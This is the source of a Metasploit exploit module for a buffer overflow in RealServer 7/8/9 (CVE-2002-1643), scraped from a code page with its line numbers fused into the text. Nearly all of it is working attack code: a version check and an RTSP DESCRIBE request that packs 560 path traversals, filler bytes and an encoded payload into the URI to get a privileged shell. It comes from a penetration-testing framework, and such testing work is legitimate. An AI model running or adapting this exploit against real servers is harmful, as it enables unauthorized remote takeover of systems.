Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/realserver/describe.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456class MetasploitModule < Msf::Exploit::Remote7Rank = GreatRanking89include Msf::Exploit::Remote::HttpClient1011def initialize(info = {})12super(update_info(info,13'Name' => 'RealServer Describe Buffer Overflow',14'Description' => %q{15This module exploits a buffer overflow in RealServer 7/8/916and was based on Johnny Cyberpunk's THCrealbad exploit. This17code should reliably exploit Linux, BSD, and Windows-based18servers.19},20'Author' => 'hdm',21'References' =>22[23[ 'CVE', '2002-1643' ],24[ 'OSVDB', '4468']25],26'Privileged' => true,27'Payload' =>28{29'Space' => 2000,30'BadChars' => "\x00\x0a\x0d\x25\x2e\x2f\x5c\xff\x20\x3a\x26\x3f\x2e\x3d"31},32'Platform' => %w{ bsd linux win },33'Targets' =>34[35[36'Universal',37{38'Platform' => %w{ bsd linux win }39},40],41],42'DisclosureDate' => '2002-12-20',43'DefaultTarget' => 0))44end4546def check47res = send_request_raw(48{49'method' => 'OPTIONS',50'proto' => 'RTSP',51'version' => '1.0',52'uri' => '/'53}, 5)5455info = http_fingerprint({ :response => res }) # check method / Custom server check56if res and res['Server']57vprint_status("Found RTSP: #{res['Server']}")58return Exploit::CheckCode::Detected59end60Exploit::CheckCode::Safe61end6263def exploit64print_status("RealServer universal exploit launched against #{rhost}")65print_status("Kill the master rmserver pid to prevent shell disconnect")6667encoded = Rex::Text.to_hex(payload.encoded, "%")6869res = send_request_raw({70'method' => 'DESCRIBE',71'proto' => 'RTSP',72'version' => '1.0',73'uri' => "/" + ("../" * 560) + "\xcc\xcc\x90\x90" + encoded + ".smi"74}, 5)7576handler77end78end798081